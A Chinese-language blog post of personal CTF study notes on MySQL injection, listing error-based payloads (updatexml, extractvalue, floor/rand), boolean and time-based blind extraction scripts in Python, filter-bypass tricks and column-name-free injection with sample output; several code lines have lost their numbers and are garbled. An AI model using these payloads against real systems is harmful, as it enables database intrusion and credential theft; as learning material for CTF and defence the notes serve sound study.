师傅tpl!!!!!

https://xz.aliyun.com/t/7169[对MYSQL注入相关内容及部分Trick的归类小结]

https://www.jianshu.com/p/f2611257a292[学习笔记——从头学sql注入]

https://www.smi1e.top/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/【smi1e师傅的学习笔记】

https://github.com/CHYbeta/Web-Security-Learning#sql%E6%B3%A8%E5%85%A5

https://skysec.top/2017/07/19/sql%E6%B3%A8%E5%85%A5%E7%9A%84%E4%B8%80%E4%BA%9B%E6%8A%80%E5%B7%A7%E5%8E%9F%E7%90%86/【sql注入的一些技巧原理】

最近看师傅们的blog复习了一下,真的很全面。

记录一下复习的过程:

一些必须知道的函数与符号:

  1. #摘自byc师傅的博客,师傅的博客我已经放到上面了
  2. user() :当前使用者的用户名
  3. database():当前数据库名
  4. version():数据库版本
  5. datadir:读取数据库的绝对路径
  6. concat()/concat_ws():多个字符串连接成几个字符串
  7. group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据//常见于注入
  8.  
  9. //常见于布尔盲注
  10. length():返回字符串的长度
  11. substr():截取字符串
  12. mid():截取字符串
  13. ascii():返回字符的ascii
  14.  
  15. //常见于时间盲注
  16. sleep(): 函数延迟代码执行若干秒
  17.  
  18. //用于注释的符号,或者效果等同于注释的
  19. #
  20. --+
  21. or '='1//闭合单引号
  22. or 闭合双引号,以此类推补充弄:@@vasedirmysql安装路径@@version_compile_os:操作系统~ 一元字符反转

原理:

我认为原理基本就是 由于对用户的输入没有进行严格的控制与过滤,导致一些恶意语句与后端的sql语句拼接,带入查询.

思路:

可以先进行fuzz看有无回显,回显考虑联合查询,无回显可以考虑报错以及盲注。具体的注入过程要fuzz环境下数据库的版本、过滤的规则、等等......再选择合适的方法去bypass

报错注入:::::::(通过特殊函数错误使用,输出错误信息的同时带出我们想要非法访问的信息)

常用的一些函数:

1.exp()------->返回e的x方结果

报错原理:mysql记录的double数值有限,超限则报错

  1. payloadexp(~(select * from(select user())a)) ~讲字符串处理变成大整数,放入exp函数中,超过数组范围,报错

2.floo() 与 rand()

floor(rand(0)*2),同时配合group by 与 concat()

  1. select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
  1. union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a

要注意的一点:数据表需要三条及以上数据才能报错........

原理去看一下师傅的blog吧:https://xz.aliyun.com/t/7169#toc-18

3.updatexml()

  1. updatexml(XML_document, XPath_string, new_value);

一般在xpath参数位置写入我们要查询的内容

  1. payload:updatexml(1,concat(0x7e,version(),0x7e),1)

原理:由于参数格式不正确产生错误,Xpath_string需要Xpath格式的字符串,但是我们用了concat将version()函数转为字符串,不符合格式报错。。。

4.extractvalue()

  1. and (extractvalue(1,concat(0x7e,(sql语句)),0x7e))

但是这个方法只能爆出32位,如果要查询的内容太长,可以引用mid()函数。

例如:

  1. ' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),29,60)))

5.还有一些几何函数:直接摘用师傅blog里的

  1. GeometryCollection():id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
  2. polygon():id=1 AND polygon((select * from(select * from(select user())a)b))
  3. multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b))
  4. multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b))
  5. linestring():id=1 AND LINESTRING((select * from(select * from(select user())a)b))
  6. multipolygon() id=1 AND multipolygon((select * from(select * from(select user())a)b))

疑问::这里多层的语句查找是为什么???  是为了防止过滤空格吗?????

6.不存在的函数

7.bigint数值操作:

原理:当mysql数据库的某些边界数值进行数值运算时,会报错

  1. payload:

8.name_const() 只能查库版本

  1. payload: select * from(select name_const(version(),0x1),name_const(version(),0x1))a

9.uuid相关的函数

版本:8.0.

  1. SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=));
  2. SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=));

10.jojin using()注列名

  1. select * from(select * from users a join (select * from users)b)c;
  2. select * from(select * from users a join (select * from users)b using(username))c;
  3. select * from(select * from users a join (select * from users)b using(username,password))c

11.GTID相关:

  1. );
  2. ,),,)),);
  3. );

盲注:::::::::::

写脚本跑;;;

布尔盲注:::::::

1.left()   left(1,2)  从左截取 1 的前 2位

  1. left(database(),)>’s

2. ascii()与substr()

二分法:::

  1. ascii(substr((,))=

3.regexp()

正则判断:

  1. select user() regexp('^ro')

下面附上byc师傅blog上大致的脚本模板:

  1. import requests
  2.  
  3. url=''
  4. flag=''
  5. ,):
  6. a=
  7. ,):
  8. payload="1' or ascii(substr((select flag from flag),{0},1))={1}#"
  9. data=payload.format(i,j)
  10. res=requests.post(url,data=data)#data依据可注入点而定
  11. if('abc' in res.text)#此处依照正确的回显内容而定
  12. flag+=chr(j)
  13. print(flag)
  14. a=
  15. : break

时间盲注::::

ascii  +  substr    sleep   if(a,b,c)

exp:摘自byc师傅的blog

  1. import requests
  2. url=''
  3. flag=''
  4. ,):
  5. print(i)
  6. a=
  7. payload="1' or select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)#"
  8. ,):
  9. data={'}
  10. try:
  11. result=requests.post(url,data=data,timeout=)
  12. except requests.exceptions.ReadTimeout:
  13. flag+=chr(j)
  14. print(flag)
  15. a=
  16. break
  17. : break

还可以用: benchmark(),以及复杂运算的函数都可以用。。。。。

例如:

笛卡尔积合并数据表、GET_LOCK双SESSION产生延迟

常见的绕过:::(一般过滤都是正则,如果可以看到源码要注意观察,如果看不到,就多fuzz8)

ban空格:::

  1. , %0a, %0b, %0c, %0d, %a0,%20改用+号拼接语句括号嵌套:::例如 select user() from ---->select(user())froom

and/or   被ban

  1. .双写
  2. .逻辑运算符 && || ^
  3. .拼接=号 例如: ?id==(.....)

逗号被ban

  1. .join语句代替
  2. .改用盲注
  3. .substr(data )====substr(data,,)
  4. limit offset ====== limit ,

ban一些特殊的函数,词组

  1. sleep()<==>benchmark()
  2. concat_ws()<==>group_concat()//还是有区别的,但是效果一致
  3. mid()、substr() <==> substring()if语句可替换为 case when(条件) then 代码 else 代码 end 代码例如:
  1. select case when substring((select user()) from {0} for 1)={1} then sleep(5) else 1 end ==== if(substring((select user()) from {0} for 1)={1},sleep(5),1)information_schema === sys.schema_auto_increment_columns 版本要求 mysql5.7+
  2. information_schema === $schema_flattened_keys === sys.schema_table_statistics 也要求 5.7+(当information_schema.tablesban,一般也无法得到列名information_schema.columns 可直接考虑无列名注入)
  1. handle可以代替select 查询:
  1. handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
  2. handler yunensec read first; #读取指定表/句柄的首行数据
  3. handler yunensec read next; #读取指定表/句柄的下一行数据
  4. handler yunensec read next; #读取指定表/句柄的下一行数据
  5. ...
  6. handler yunensec close; #关闭句柄
  1.  
  1. 还有一些特殊情况:::
  2. 题目并不ban selectunion 但是union select同时出现时就被ban
  3. 可以采取正则回溯bypss
  4. 以下解释直接引用 https://xz.aliyun.com/t/7169#toc-47
  5. PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。若我们输入的数据使得PHP进行回溯且此数超过了规定的回溯上限此数(默认为 100万),那么正则停止,返回未匹配到数据。
  6. 构造payloadunion/*100万个a,充当垃圾数据*/select即可绕过正则判断

无列名盲注:::

1.直接引用https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/

以及byc师傅的blog

普通sql注入

  1. select * from users
  1. +----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
  2. | id | name | password | email | birthdate | added |
  3. +----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
  4. | | alias | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | veronica80@example.org | -- | -- :: |
  5. | | accusamus | 114fec39a7c9567e8250409d467fed64389a7bee | sawayn.amelie@example.com | -- | -- :: |
  6. | | dolor | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | stefan41@example.com | -- | -- :: |
  7. | | et | aaaf2b311a1cd97485be716a896f9c09aff55b96 | zwalsh@example.com | -- | -- :: |
  8. | | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | pattie.medhurst@example.net | -- | -- :: |
  9. +----+--------------+------------------------------------------+-----------------------------+------------+---------------------+
  10. rows in set (0.00 sec)
  1. 改一下语句 ,,,, ,6union select * from users
  1. +---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
  2. | | | | | | |
  3. +---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
  4. | | | | | | |
  5. | | alias | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | veronica80@example.org | -- | -- :: |
  6. | | accusamus | 114fec39a7c9567e8250409d467fed64389a7bee | sawayn.amelie@example.com | -- | -- :: |
  7. | | dolor | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | stefan41@example.com | -- | -- :: |
  8. | | et | aaaf2b311a1cd97485be716a896f9c09aff55b96 | zwalsh@example.com | -- | -- :: |
  9. | | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | pattie.medhurst@example.net | -- | -- :: |
  10. +---+--------------+------------------------------------------+-----------------------------+------------+---------------------+
  11. rows in set (0.00 sec)

单独引用某一列  使用反引号:

  1. ` ,,,,, union select * from users)a;
  1. +-----------------------------+
  2. | |
  3. +-----------------------------+
  4. | |
  5. | veronica80@example.org |
  6. | sawayn.amelie@example.com |
  7. | stefan41@example.com |
  8. | zwalsh@example.com |
  9. | pattie.medhurst@example.net |
  10. +-----------------------------+
  11. rows in set (0.00 sec)

如果反引号被过滤::

  1. ,, , union select * from users)a;
  1. +-----------------------------+
  2. | b |
  3. +-----------------------------+
  4. | |
  5. | veronica80@example.org |
  6. | sawayn.amelie@example.com |
  7. | stefan41@example.com |
  8. | zwalsh@example.com |
  9. | pattie.medhurst@example.net |
  10. +-----------------------------+
  11. rows in set (0.00 sec)

无列名盲注还可以用 order by 比较注入:

这个不太熟悉,直接引用师傅的bloghttps://xz.aliyun.com/t/7169#toc-36

  1. 这种方法运用的情况比较极端一些,如布尔盲注时,字符截取/比较限制很严格。例子:
  2.  
  3. limit )='r'
  4. 如果能一眼看出原理的话就不需要继续看下去了。
  5.  
  6. 实际上此处是利用了order by语句的排序功能来进行判断的。若我们想要查询的数据开头的首字母在字母表的位值比我们判断的值要靠后,则limit语句将不会让其输出,那么整个条件将会成立,否之不成立。
  7.  
  8. 利用这种方法可以做到不需要使用likerlikeregexp等匹配语句以及字符操作函数。
  9.  
  10. 再举个例子:
  11.  
  12. select username,flag,password from users where username='$username;'
  13. 页面回显的字段为:usernamepassword,如何在unionflag两单词被拦截、无报错信息返回的情况下获取到用户名为adminflag值?
  14.  
  15. 我们前边讲到了无列名注入,通过使用union语句来对未知列名进行重命名的形式绕过,还讲过通过使用join using()报错注入出列名。但现在,这两种方法都不可以的情况下该如何获取到flag字段的内容?
  16.  
  17. 使用order by可轻松盲注出答案。payload
  18.  
  19. , order by
  20. 与之前的原理相同,通过判断前后两个select语句返回的数据前后顺序来进行盲注

还有就是二次注入,宽字节注入,堆叠注入(强网杯随便注做过笔记https://www.cnblogs.com/tiaopidejun/p/12333170.html)

Latin 1 默认编码(这个没咋看懂,没事再去师傅blog研究研究吧https://xz.aliyun.com/t/7169#toc-14

----------

顺提一点PDO场景注入  ---swpuCTF   web4     以及GYCTFeasysqli_copy

Mysql注入汇总!!!!!!!!!的更多相关文章

  1. mysql注入篇

    博客这个东西真的很考验耐心,每写一篇笔记,都是在艰难的决定中施行的,毕竟谁都有懒惰的一面,就像这个,mysql注入篇,拖拖拖一直拖到现在才开始总结,因为这个实在是太多太杂了,细细的总结一篇太烧脑. 由 ...

  2. MySQL笔记汇总

    [目录] MySQL笔记汇总 一.mysql简介 数据简介 结构化查询语言 二.mysql命令行操作 三.数据库(表)更改 表相关 字段相关 索引相关 表引擎操作 四.数据库类型 数字型 字符串型 日 ...

  3. MySQL注入与防御(排版清晰内容有条理)

    为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...

  4. MySQL登录汇总

    --MySQL登录汇总 --------------------2014/5/17 1. ERROR 1045错误ERROR 1045 (28000): Access denied for user ...

  5. Mysql注入小tips --持续更新中

    学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...

  6. 史上最完整的MySQL注入

    原文作者: Insider 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇文章题目为“为新手完成MySQL注入 ...

  7. MySQL注入技巧性研究

    0x00 前言 MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.MySQL 是最流行的关系型数据库管理系统之一,本人最近针对MySQL注入做了 ...

  8. 【mysql注入】mysql注入点的技巧整合利用

    [mysql注入]mysql注入点的技巧整合利用 本文转自:i春秋社区 前言: 渗透测试所遇的情况瞬息万变,以不变应万变无谓是经验与技巧的整合 简介: 如下 mysql注入点如果权限较高的话,再知道w ...

  9. 【sql注入教程】mysql注入直接getshell

    Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正 ...

随机推荐

  1. ubuntu 配置网卡,DNS, iptables

    # 配置静态ip地址 root@simon:~# vim /etc/network/interfaces auto enp4s0 iface enp4s0 inet static address 19 ...

  2. MySQL中大数据表增加字段,增加索引实现

    MySQL中大数据表增加字段,通过增加索引实现 普通的添加字段sql ALTER TABLE `table_name` ADD COLUMN `num` int(10) NOT NULL DEFAUL ...

  3. Vscode开发Python环境安装

    VSCode 开发 Python 使用python,主要是做一些工具和爬虫的操作,语法简单,功能复杂,入手很快. 我们通过在 VSCode 中搜索 Python 插件,发现,开发 python 的话, ...

  4. Git浅谈随笔之---如何工作

    其他的版本控制工具我们常见的还有SVN,关于这两者的区别,我们不多谈,详见 Git 与 SVN 的区别 : Git是一种版本控制工具.用来记录文件内容的变化,备以后查阅某个版本的情况的系统:我们在Gi ...

  5. 【转载】s19文件格式详解

    来源:http://blog.csdn.net/xxxl/article/details/19494187 1.概述 为了在不同的计算机平台之间传输程序代码和数据,摩托罗拉将程序和数据文件以一种可打印 ...

  6. jQuery-Moblie在Chrome下出现的问题

    第一次用jQuery然后就遇到很蛋疼的地方,打开页面一直处在菊花状态,一开始以为自己搞错什么,是不是引用错文件,看里面的错误警告 Failed to execute 'replaceState' on ...

  7. js类的constructor中不支持异步函数吗?

    解决方案: 1.如果是普通函数,可以用async 和await来解决你的问题但你这个是在constructor里,constructor 的作用是返回一个对像实例,如果加了async就变成返回一个pr ...

  8. Flume 自定义拦截器 多行读取日志+截断

    前言: Flume百度定义如下: Flume是Cloudera提供的一个高可用的,高可靠的,分布式的海量日志采集.聚合和传输的系统,Flume支持在日志系统中定制各类数据发送方,用于收集数据:同时,F ...

  9. opencv —— findContours、drawContours 寻找并绘制轮廓

    轮廓图像与 Canny 图像的区别 一个轮廓一般对应一系列的点,也就是图像中的一条曲线.轮廓图像和 Canny 图像乍看起来表现几乎是一致的,但其实组成两者的数据结构差别很大: Canny 边缘图像是 ...

  10. PHPJN0001:phpmyadmin 允许密码为空 设置

    phpmyadmin连接mysql数据库,出于安全考虑,默认不允许使用空密码连接数据库.因为数据库一般都设置密码访问. 但如果只是本机环境测试使用,每隔一段时间都需要填写密码,不是很方便. 如果没有修 ...